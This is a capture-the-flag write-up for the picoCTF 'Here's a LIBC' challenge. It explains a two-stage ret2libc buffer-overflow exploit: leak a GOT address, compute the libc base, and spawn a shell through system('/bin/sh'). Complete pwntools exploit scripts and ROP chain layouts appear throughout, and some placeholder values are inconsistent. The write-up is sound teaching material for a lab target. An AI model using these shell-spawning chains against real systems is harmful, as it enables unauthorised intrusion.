Skip to main content

Here's a LIBC picoCTF 2021 Solution

Exploit a binary with memory protections enabled using a supplied libc to craft a working chain that gives you a shell.

Published: April 2, 2026Updated: August 25, 2026

Description

I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.

Download the binary and the provided libc file.

bash
wget <url>/vuln
bash
wget <url>/libc.so.6
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
Background: Buffer Overflow Binary Exploitation covers the leak/return-to-main pattern, and ROP Chain Without libc handles the case when no libc is provided.
  1. Step 1Check mitigations and understand the vulnerability
    Observation
    The challenge ships a specific libc.so.6 alongside the binary and asks for a ret2libc exploit. That means ASLR is on, and the provided libc is what supplies exact symbol offsets at runtime.
    Run checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.
    bash
    checksec vuln
    bash
    file vuln
    bash
    ldd vuln
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"

    Expected output

    vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
    What didn't work first

    Tried: Skip the libc recon step and attempt a ret2plt attack using only gadgets from the binary itself (treating it as a no-libc scenario).

    Without the runtime libc base, system() and /bin/sh cannot be located at all. A chain that calls puts() but never reads the leak back just prints something and exits. Parse the leaked bytes into libc_base before stage 2 can work.

    Tried: Use the system libc (/lib/x86_64-linux-gnu/libc.so.6) instead of the challenge-provided libc.so.6 when computing offsets.

    Symbol offsets differ between libc builds. If your local puts() sits at 0x875a0 and the challenge libc has it at 0x80e50, libc_base comes out 0x6750 bytes wrong, system() points into garbage, and the process segfaults. Load the exact supplied libc.so.6 for every offset lookup.

    Learn more

    When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from puts to system is always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.

    Standard two-stage ret2libc exploit:

    1. Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address.
    2. Stage 2 (Shell): Compute system = libc_base + libc.sym['system'] and bin_sh = libc_base + next(libc.search(b'/bin/sh')). Call system('/bin/sh') to get a shell.
  2. Step 2Build the leak stage
    Observation
    The binary is dynamically linked and exposes puts in both PLT and GOT. A ROP chain calling puts on its own GOT entry prints the runtime libc address, then returns to main for a second stage.
    Construct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    pop_rdi = next(e.search(asm('pop rdi; ret')))
    offset = 0  # from cyclic analysis
    
    # Stage 1: Leak puts address
    payload  = b'A' * offset
    payload += p64(pop_rdi)
    payload += p64(e.got['puts'])
    payload += p64(e.plt['puts'])
    payload += p64(e.sym['main'])  # return to main for stage 2
    
    p.sendline(payload)
    p.recvuntil(b'
    ')  # skip any output before the leak
    leak = u64(p.recvline().strip().ljust(8, b''))
    log.success(f"puts @ {hex(leak)}")
    
    libc_base = leak - libc.sym['puts']
    log.success(f"libc base @ {hex(libc_base)}")
    assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak"
    EOF
    What didn't work first

    Tried: Try to leak puts via puts(plt['puts']) instead of puts(got['puts']), passing the PLT stub address as the argument.

    The PLT stub lives inside the binary at a fixed, un-randomized address, so printing it says nothing about where libc loaded. Pass the GOT entry instead, the slot the dynamic linker filled with the real runtime address, so puts() prints a resolved libc pointer.

    Tried: After receiving the leak, parse it with p.recv(6) and u64(leak + b'\x00\x00') without stripping newlines first.

    recvline() leaves a newline byte on the end of the leak. ljust to 8 bytes without stripping first and that newline becomes part of the u64 as byte 7, corrupting the address and throwing libc_base off by 0x0a shifted 48 bits, that is 0x000a000000000000. Strip before you pad.

    Learn more

    The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.

    Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):

    rsp -> | pop rdi ; ret  |   <- ret of vuln() pops this
           | got['puts']    |   pop rdi ; ret -> rdi = &got['puts']
           | plt['puts']    |   ret jumps here, calls puts(arg = got['puts'])
           | sym['main']    |   puts() returns here -> back to main loop

    Worked example of the libc base math. Suppose puts in libc.so.6 is at static offset 0x80e50 (find with readelf -sW libc.so.6 | grep -E ' puts(@|$)' or libc.sym['puts'] in pwntools). Suppose the leak prints 0x7f3a45680e50. Then:

    leaked_puts = 0x7f3a45680e50
    puts_offset = 0x000000080e50
    libc_base   = 0x7f3a45680e50 - 0x80e50
                = 0x7f3a45600000   <- always page-aligned (lowest 12 bits = 0)

    The 0x000 tail confirms the math: shared libraries are always loaded at page boundaries, so a correct libc_base ends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.

    Why returning to main works. main ends with the same gets() read loop that the first overflow exploited. After stage 1 prints the leak and returns to main, the program presents the prompt again, the script reads the leak from the stage-1 output, computes system and /bin/sh from libc_base, and sends a second crafted payload through the same vulnerability.

  3. Step 3Build the shell stage
    Observation
    The leaked puts address minus its known static offset in the provided libc gives libc_base. From there, system() and the '/bin/sh' string follow, which is everything the final ROP chain needs.
    In the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').
    python
    # Continuing from the previous script:
    python3 - <<'EOF'
    from pwn import *
    
    # ... (previous leak stage) ...
    
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    ret_gadget = next(e.search(asm('ret')))  # stack alignment
    
    # Stage 2: call system('/bin/sh')
    payload  = b'A' * offset
    payload += p64(ret_gadget)   # stack alignment for system()
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(system)
    
    p.sendline(payload)
    p.interactive()
    EOF
    What didn't work first

    Tried: Omit the bare ret gadget for stack alignment and call system('/bin/sh') directly after pop rdi.

    glibc's system() contains a movaps instruction that requires rsp to be 16-byte aligned. After the overflow and the pop rdi, the stack sits on an 8-byte boundary instead. Call system() without burning those 8 bytes with a bare ret and the movaps raises SIGSEGV, so no shell appears even though every address is right.

    Tried: Search for '/bin/sh' in the binary itself with next(e.search(b'/bin/sh')) rather than in the provided libc.

    CTF binaries rarely embed '/bin/sh' themselves. If the search returns nothing, or wraps to address 0, the payload passes a null rdi and system(NULL) either crashes or returns straight away. The string is always present inside libc at a known static offset, so search libc rather than the ELF.

    Learn more

    Stage 2 chain layout, with concrete addresses. Suppose libc_base = 0x7f3a45600000, libc.sym['system'] = 0x52290, and the first /bin/sh\0 string lives at libc.search offset 0x1b3e1a:

    system = 0x7f3a45600000 + 0x52290  = 0x7f3a45652290
    binsh  = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a
    
    payload = b'A' * 40              # offset to saved RIP
            + p64(ret_gadget)        # 16-byte align rsp
            + p64(pop_rdi)
            + p64(0x7f3a457b3e1a)    # rdi = "/bin/sh"
            + p64(0x7f3a45652290)    # call system

    Why the bare ret for alignment. When vuln() executes ret the stack is at ...0x8 (saved RIP slot). The pop rdi; ret consumes 16 bytes total (one pop, one ret), keeping alignment. But glibc system() internally uses movaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bare ret before the call burns 8 bytes and shifts rsp from ...0x8 to ...0x0, satisfying the alignment requirement.

    Local testing with the provided libc. patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln (or invoke ./ld-linux-x86-64.so.2 --library-path . ./vuln directly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{1_<3_sm4sh_st4cking_...}

ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.

Key takeaway

ASLR randomizes where libc loads on each run, but the distances between symbols inside the library never change. Leak any resolved GOT entry and you have the runtime base; every other address follows by adding its static offset. That leak-then-shell pattern underpins nearly all modern ret2libc work, and heap exploits resolving malloc hooks or one-gadgets use it too. Matching the exact libc build matters because the offsets differ, which is why challenges ship the file.

Related reading

Tools used in this challenge

Where to go next